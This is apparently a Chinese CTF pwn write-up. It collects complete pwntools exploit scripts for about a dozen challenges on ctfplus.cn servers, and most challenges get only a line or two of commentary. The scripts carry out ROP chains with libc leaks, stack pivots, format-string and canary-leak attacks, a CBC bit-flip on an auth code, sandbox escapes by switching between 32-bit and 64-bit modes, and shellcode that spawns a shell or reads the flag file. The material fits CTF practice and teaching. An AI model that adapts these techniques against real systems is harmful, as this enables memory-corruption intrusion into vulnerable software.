bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']
for i in bytes_for:
\# io = process("./pwn2.34")
io = remote("nc1.ctfplus.cn", 17014)
try:
io.recvuntil(b'> \n')
io.send(b'/bin/sh\x00')
io.recvuntil(b'index:\n')
io.sendline(b'88')
io.sendline(i)
io.recvuntil(b'index2:\n')
\# gdb.attach(io, 'b *0x401158')
io.sendline(b'59')
io.sendline(b'cat flag')
if b'{' in io.recv():
io.interactive()
else:
io.close()
continue
except:
io.close()
continue
struct_one_byte
又让我以为是堆题,然后发现给了后门和泄漏,觉得大事肯定不简单
然后一看代码,太乱了,不想逆,直接调上了。。。
当然题目名字给了提示,直接能注意到结构体最后的0x40会覆盖下一结构体标志着编辑长度的size,那就好办了,直接写调用函数地址为system加控rdi就行了(别问为啥不写backdoor,纯粹想试试行不行,)
from pwn import *
\# io = process("./struct")
io = remote("nc1.ctfplus.cn", 11246)
elf = ELF("./struct")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
io.recv()
io.sendline(b'4')
io.recvuntil(b'gift\naddr:')
printf_addr = int(io.recv(14), 16)
lg('printf_addr', printf_addr)
libcbase = printf_addr - libc.symbols['printf']
lg('libcbase', libcbase)
puts_addr = libcbase + libc.symbols['puts']
lg('puts_addr', puts_addr)
system_addr = libcbase + libc.symbols['system']
def choose(choice):
io.sendlineafter(b'3. change player info:', str(choice).encode())
def alloc(id, name, info, student=2):
choose(1)
io.sendlineafter(b'Index:', str(id).encode())
if 2 == student:
io.sendlineafter(b'>', str(2).encode())
elif 1 == student:
io.sendlineafter(b'>', str(1).encode())
io.sendlineafter(b'name :', name)
io.sendlineafter(b'info :', info)
def edit(id, name):
choose(3)
io.sendlineafter(b'input index:', str(id).encode())
io.sendafter(b'name :', name)
def work(id):
choose(2)
io.sendlineafter(b'input index:', str(id).encode())
alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')
alloc(0, b'0', b'0')
\# alloc(1, b'1', b'1', 1)
\# alloc(0xf, b'15', b'15')
edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)
\# gdb.attach(io)
work(1)
io.interactive()
\# dbg()
stack_overflow
把栈地址甩脸上了,直接行动,要加个栈地址,到现在还不知道向buf写的判断是用来干嘛的
from pwn import *
\# io = process("./pwn")
io = remote("nc1.ctfplus.cn", 36068)
context.terminal = ["tmux", "new-window"]
context.log_level = "debug"
elf = ELF("./pwn")
libc = elf.libc
io.recvuntil(b"give this gift:")
\# gdb.attach(io)
take = u64(io.recv(6).ljust(8, b"\x00"))
print(hex(take))
\# gdb.attach(io)
io.recv()
io.send(p64(take + 0x29))
io.recv()
io.send(b'\x00'*0x7)
io.recv()
payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)
\# gdb.attach(io)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print(hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
print(hex(libcbase))
system_addr = libcbase + libc.symbols['system']
print(hex(system_addr))
binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(hex(binsh_addr))
one_gadget = libcbase + 0xebc88
print(hex(one_gadget))
\# gdb.attach(io)
payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)
io.send(payload)
io.interactive()
WhoIsAdmin
提示直接把考点讲了,觉得已经不能再简单了,都可以当例题了
数组溢出买下系统,然后用CBC翻转攻击的脚本转换明文,就可以直接用改系统名的溢出打正常ROP(决定拿来当例题给新生讲,嘻嘻)
from pwn import *
from LibcSearcher import *
\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
\# io = process("./whoisadmin")
io = remote('nc1.ctfplus.cn', 33679)
elf = ELF("./whoisadmin")
\# libc = ELF("./libc-2.??.so")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
from Crypto.Util.strxor import strxor
import binascii
def decrypt(string):
\# 动态输入密文和目标明文块
ciphertext_hex = string # 示例密文
ciphertext = binascii.unhexlify(ciphertext_hex)
\# 定义块大小(通常为16字节)
BLOCK_SIZE = 16
\# 确保密文长度足够长,至少包含两个块
if len(ciphertext) < 2 * BLOCK_SIZE:
raise ValueError("密文太短,至少需要包含两个块。")
\# 分离前两块密文
C_0 = ciphertext[:BLOCK_SIZE] # 第一块
C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二块
\# 定义已知的原始明文块和目标明文块
original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字节
target_plaintext = b"AdminAdminAdminA" # 目标明文前16字节
\# 计算所需的异或调整量
delta = strxor(original_plaintext, target_plaintext)
\# 修改C_0,使得解密C_1时得到目标明文
new_C_0 = strxor(C_0, delta)
\# 组合新的密文,保持C_1不变
modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 仅修改第一个块
\# 输出结果
print("原始密文: ", ciphertext_hex.decode())
print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())
return binascii.hexlify(modified_ciphertext).decode()
def choose(choice):
io.sendlineafter(b'Your choice: >', str(choice).encode())
def new_normal_count():
choose(1)
io.recvuntil(b'Your account authcode: ')
return decrypt(io.recvuntil(b'\n', drop=True))
def show_money():
choose(3)
def buy_max_accountLimit(number):
choose(4)
io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())
io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())
def show_max_accountLimit():
choose(5)
def buy_system():
choose(6)
def try_to_login(name):
choose(7)
io.sendlineafter(b'Please Input your account authcode:', name)
def change_system_name(new_system_name):
choose(8)
io.sendlineafter(b'Please input the new system name: ', new_system_name)
buy_max_accountLimit(-100000)
buy_system()
attack = new_normal_count()
try_to_login(attack)
\# gdb.attach(io)
pop_rdi = 0x0000000000402db3
ret = 0x000000000040101a
payload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)
change_system_name(payload)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
lg('puts_addr', puts_addr)
libcbase = puts_addr - libc.dump('puts')
lg('libcbase', libcbase)
system = libcbase + libc.dump('system')
lg('system_addr', system)
binsh = libcbase + libc.dump('str_bin_sh')
lg('bin_sh_addr', binsh)
payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
change_system_name(payload)
io.interactive()
\# dbg()
stdout
蛮有意思,虽然我本来就知道设置缓冲区后write还是能够直接用fd正常工作,不过还是觉得给了提示,也可以当例题,再偷一道,哈哈
直接调试发现寄存器和返回地址残留修改后跳转到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,当时one_gadget死活打不通,找了师傅,还没找到题作者,直接换成system就出了,还是太懒了,哈哈
from pwn import *
# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
# io = process("./pwn")
# io = remote('nc1.ctfplus.cn', 35132)
elf = ELF("./pwn")
# libc = ELF("./libc-2.??.so")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
# gdb.attach(io, 'b vuln')
# shellcode = '''
# syscall
# '''
# shellcode = asm(shellcode, arch='amd64')
# payload = shellcode.ljust(0x38, b'\x00')
# payload = b'\x0f\x05'
# payload = payload.ljust(0x38, b'\x00')
# payload = asm(shellcraft.amd64.linux.sh())
# print(payload)
# payload = b'A'*0x28
while True:
# io = process("./pwn")
io = remote('nc1.ctfplus.cn', 35132)
try:
payload = b'A'*0x8
# io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))
io.send(payload)
# io.sendline()
io.recvuntil(b'???,out??')
# io.sendline()
# io.send(b'AAA')
# io.send(b'A'*0x40 + b'\x00')
# io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')
# io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')
# io.send(b'A'*0x40 + p64(0) + b'\x03\x54')
# io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')
# io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')
io.send(b'A'*0x40 + p64(0) + b'\x78\x53')
io.recvuntil(b'A'*0x40)
io.recv(0x8)
elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382
lg('elfbase', elfbase)
pop_rdi = elfbase + 0x0000000000001403
lg('pop_rdi', pop_rdi)
ret = elfbase + 0x000000000000101a
lg('ret', ret)
bss = elfbase + 0x5040
lg('bss', bss)
take = elfbase + 0x1310
lg('take', take)
pop_all = elfbase + 0x00000000000013fc
lg('pop_all', pop_all)
io.recv(0xa)
libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083
lg('libcbase', libcbase)
system = libcbase + libc.symbols['system']
lg('system', system)
binsh = libcbase + next(libc.search(b'/bin/sh'))
lg('binsh', binsh)
onegadget = libcbase + 0xe3afe
lg('onegadget', onegadget)
io.recv()
\# gdb.attach(io)
# payload = b'A'*0x48 + p64(onegadget)
# payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)
# io.send(payload)
payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)
io.send(payload)
payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)
io.send(payload)
payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)
io.send(payload)
# gdb.attach(io)
payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)
# payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)
io.send(payload)
io.interactive()
except:
io.close()
continue
简单的签到
没啥好说的,甚至不用会pwn
from pwn import *
\# io = process("./main")
io = remote("nc1.ctfplus.cn", 35889)
io.recv()
io.recv()
io.sendline()
calc = io.recvuntil(b'=', drop=True)
take = eval(calc)
io.sendline(str(take).encode())
io.interactive()
这里的空间有点小啊
read接栈迁的板子题了,调下长度和bss就能打通
from pwn import *
\# io = process("./main")
io = remote("nc1.ctfplus.cn", 16336)
context.terminal = ["tmux", "new-window"]
context.log_level = "debug"
elf = ELF('./main')
libc = elf.libc
io.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')
io.sendline(b'1')
io.recvuntil(b'Now you can write something')
bss = 0x601020 + 0x100
payload = b'A'*0x30 + p64(bss) + p64(0x40071C)
io.send(payload)
payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)
io.send(payload)
payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)
io.send(payload)
io.recv(1)
libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
og = libcbase + 0x4f302
payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
io.send(payload)
io.interactive()
真的能走到后门吗
具体通过泄漏能够拿到程序自己和保护给的两个canary,然后回去重新用printf写一位返回地址到后门就行了
from pwn import *
\# io = process("./fmt")
io = remote("nc1.ctfplus.cn", 18593)
context.terminal = ['tmux', 'new-window']
context.log_level = 'debug'
elf = ELF('./fmt')
libc = elf.libc
io.recv()
io.send(p64(0x404018))
io.recv()
payload = b'%' + str(0x127D).encode() + b'c%16$hn'
payload = b'%14$p%17$p'
payload = payload.ljust(0x10, b'\x00')
\# gdb.attach(io)
\# io.send(b'KKKKKKKK')
io.send(payload)
\# io.send(payload)
\# io.recvline()
io.recvuntil(b'your name:\n')
take = int(io.recv(14), 16)
print(hex(take))
canary = int(io.recv(18), 16)
print(hex(canary))
\# gdb.attach(io)
io.recvuntil(b'What do you want to say?\n')
payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)
\# payload = payload.ljust(0x70, b'A')
io.send(payload)
\# gdb.attach(io, 'b vuln')
io.recv()
io.send(p64(take - 0x27))
\# io.send(b'\x66\x66\x66')
payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'
print(hex(len(payload)))
\# gdb.attach(io)
io.send(payload)
io.recvuntil(b'What do you want to say?\n')
payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)
\# payload = payload.ljust(0x70, b'A')
\# gdb.attach(io)
io.send(payload)
io.interactive()
ez_fmt
确实简单,我当printf打了。。。
Scanf更简单,只要知道偏移就能够任意写任意类型了
from pwn import *
\# io = process("./pwn")
io = remote("nc1.ctfplus.cn", 25743)
elf = ELF("./pwn")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
\# io.recv()
\# payload = b'0x18'
\# # gdb.attach(io, 'b *0x55555555532e')
\# io.sendline(payload)
\# main = u64(io.recv(6).ljust(8, b'\x00')) - 53
\# log.info(f"Main addr: {hex(main)}")
\# elfbase = main - elf.symbols['main']
\# log.info(f"Elf base: {hex(elfbase)}")
\# count_addr = elfbase + 0x4010
\# log.info(f"Count addr: {hex(count_addr)}")
io.recv()
payload = b'0x9'
\# gdb.attach(io, 'b *0x55555555532e')
io.sendline(payload)
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info(f"Canary: {hex(canary)}")
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"Stack addr: {hex(stack_addr)}")
io.recv()
payload = b'0x38'
\# gdb.attach(io, 'b *0x55555555533e')
io.sendline(payload)
libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243
log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")
libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
log.info(f"Libc base: {hex(libcbase)}")
system_addr = libcbase + libc.symbols['system']
log.info(f"System addr: {hex(system_addr)}")
binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
log.info(f"Binsh addr: {hex(binsh_addr)}")
one_gadget_addr = libcbase + 0xe3b01
log.info(f"One gadget addr: {hex(one_gadget_addr)}")
\# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前两位
one_gadget = one_gadget_addr & 0xffffffff # 提取后四位
log.info(f"one_gadget addr: {hex(one_gadget)}")
io.recv()
payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'
payload = payload.ljust(0x20, b'\x00')
\# payload = b'A'*8 + b'B'*0x8
print(hex(len(payload)))
\# gdb.attach(io)
io.send(payload)
io.sendline(str(one_gadget).encode())
io.interactive()
hard_orw
对新生可能有点不友好,但是也就是要转一下模式有32位的open,然后用64位的sendfile就行了,其它的没啥难点,搓一下就出了
from pwn import *
\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
io = process("./sandbox")
\# io = remote('nc1.ctfplus.cn', 37876)
elf = ELF("./sandbox")
\# libc = ELF("./libc-2.??.so")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
\# gdb.attach(io)
io.recvuntil(b'Please input your id')
io.send(b'\x00\x00\x00\x00')
io.recvuntil(b'Please input your age')
io.send(b'\xf0\x15\x40\x00')
io.recv()
\# push 0x67616c66
\# push 0x2
\# pop rax
\# mov rdi,rsp
\# xor rsi,rsi
\# syscall
\# mov rsp, 0x405100
\# push 0x23
\# add rsi, 9
\# push rsi
\# retfq
shellcode = '''
mov rsp, 0x405100
push 0x23
add rsi, 0x10
push rsi
retfq
'''
shellcode1 = '''
push 0x67616c66
add esi, 0xec
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,5
int 0x80
push 0x33
sub esi, 0x100
add esi, 0x39
push esi
retf
'''
shellcode2 = '''
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
shellcode = asm(shellcode)
shellcode1 = asm(shellcode1, arch='i386', bits=32)
shellcode2 = asm(shellcode2)
shellcode += shellcode1
shellcode += shellcode2
shellcode = shellcode.ljust(0x1000, b'\x00')
\# payload = b'\xe8\xfc\xf0\xff\x00'
\# payload = b'\xE9\xfb\xf0\xff\xff'
\# payload = b'H\x83\xed\x18\xc3'
\# payload = b'\xc3'
payload = b'\xffU\xf0'
\# gdb.attach(io)
io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')
io.send(payload)
\# pause()
\# gdb.attach(io)
io.send(shellcode)
io.interactive()
你会栈溢出吗
直接到后门
from pwn import *
# io = process("./stackover")
io = remote("nc1.ctfplus.cn", 17766)
io.recv()
payload = b'A'*(0xC + 0x8) + p64(0x40073D)
io.sendline(payload)
io.interactive()
orz?orw!
jmp rsp到最后才想起来,打了半天leave_ret然后都报错。。。
此外就是神奇的复现的时候本地打不通了。。。
最大的问题其实是不能用\x00来泄漏canary又要用来当作read的长度参数,但是太长read是不会成功执行的,最开始本地调试到0x66可以才选的,并且远端也成功了,结果本地复现不成功,不然也想当例题的,等wp了
from pwn import *
io = process("./orw")
\# io = remote("nc1.ctfplus.cn", 39115)
\# elf = ELF("./orw")
\# libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
io.recvuntil(b'please input your size:')
shellcode = '''
push 0x67616c66
push 0x2
pop rax
mov rdi,rsp
xor rsi,rsi
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
shellcode = asm(shellcode)
print(len(shellcode))
\# gdb.attach(io)
io.sendline(str(4).encode())
io.recvuntil(b'Please input your name:')
\# payload = b'\x66'*0xa
payload = b'\x66'*(0xa)
\# gdb.attach(io, 'b *0x401382')
io.send(payload)
\# io.recvuntil(b'\x66'*0xa)
io.recvuntil(payload)
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info(f"Canary: {hex(canary)}")
\# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
\# log.info(f"Stack addr: {hex(stack_addr)}")
io.recvuntil(b'give me your id')
payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcode
gdb.attach(io, 'b *0x4013c1')
io.send(payload)
io.interactive()
ez_shellcode
写完shellcode跳转过去
from pwn import *
\# io = process("./shellcode")
io = remote("nc1.ctfplus.cn", 27071)
context.terminal = ['tmux', 'new-window']
context.log_level = 'debug'
context.arch = 'amd64'
payload = asm(shellcraft.sh())
\# payload = b'KKKK'
\# gdb.attach(io)
io.sendafter(b'do you know shellcode?', payload)
\# gdb.attach(io)
\# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))
io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))
io.interactive()
学校的烂电梯plus
看注释也能发现,哈哈爆破出来的,想过要住栈上打一个函数的返回,但是没想到打谁,爆破出了回去调发现是read,后来的pro里把栈顶的去掉了就寄了。。。
from pwn import *
io = process("./pwn")
\# io = remote("nc1.ctfplus.cn", 34720)
elf = ELF("./pwn")
libc = elf.libc
context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
context.log_level = 'debug'
dbg = lambda: (gdb.attach(io),pause())
lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
print(elf.plt['puts'])
\# io.recv()
\# gdb.attach(io)
gdb.attach(io, 'b *0x40134d')
\# gdb.attach(io, 'b *0x401389')
\# gdb.attach(io, 'b *0x4013cb')
\# io.sendline(str(-0x20).encode())
\# io.sendline(str(-0xc).encode())
\# io.sendline(str(-0).encode())
\# io.sendline(str(-0x2).encode())
\# io.sendline(str(-0x4).encode())
\# io.sendline(str(-0x6).encode())
\# io.sendline(str(-0x8).encode())
\# io.sendline(str(-0xa).encode())
\# io.sendline(str(-0xc).encode())
\# io.sendline(str(-0xe).encode())
\# io.sendline(str(-0x12).encode())
\# io.sendline(str(-0x20).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())
\# io.sendline(str(0x2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())
io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
\# io.recv()
\# io.recv()
import struct
\# target_value = 0x4013BA
target_value = 0
double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
io.sendlineafter(b'which one you want to call?', str(double_value).encode())
pop_rdi = 0x000000000040127f
payload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
io.recv()
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
lg('puts_addr', puts_addr)
libcbase = puts_addr - libc.symbols['puts']
lg('libcbase', libcbase)
system_addr = libcbase + libc.symbols['system']
lg('system_addr', system_addr)
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
lg('str_bin_sh', str_bin_sh)
io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
\# target_value = 0x4013BA
target_value = 0
double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
io.sendlineafter(b'which one you want to call?', str(double_value).encode())
ret = 0x000000000040101a
payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])
io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
\# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())
\# io.recv()
\# io.sendline(str(-0xc).encode())
\# io.recv()
\# io.sendline(str(2.0747565e-317).encode())
\# io.recv()
\# io.sendline(b'A'*0x8)
\# # io.sendline(str(2.0747585e-317).encode())
io.interactive()
su~~~~
没懂题目名叫su干嘛,直接ROP就出了
from pwn import *
\# io = process("./csu")
io = remote("nc1.ctfplus.cn", 29975)
context(arch='amd64', os='linux')
context.log_level = "debug"
context.terminal = ['tmux', 'new-window']
elf = ELF("./csu")
libc = elf.libc
io.recv()
io.sendline(b'1')
payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
io.sendline(payload)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
print(hex(libcbase))
system = libcbase + libc.symbols['system']
print(hex(system))
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
print(hex(str_bin_sh))
io.recv()
io.sendline(b'1')
payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)
io.sendline(payload)
io.interactive()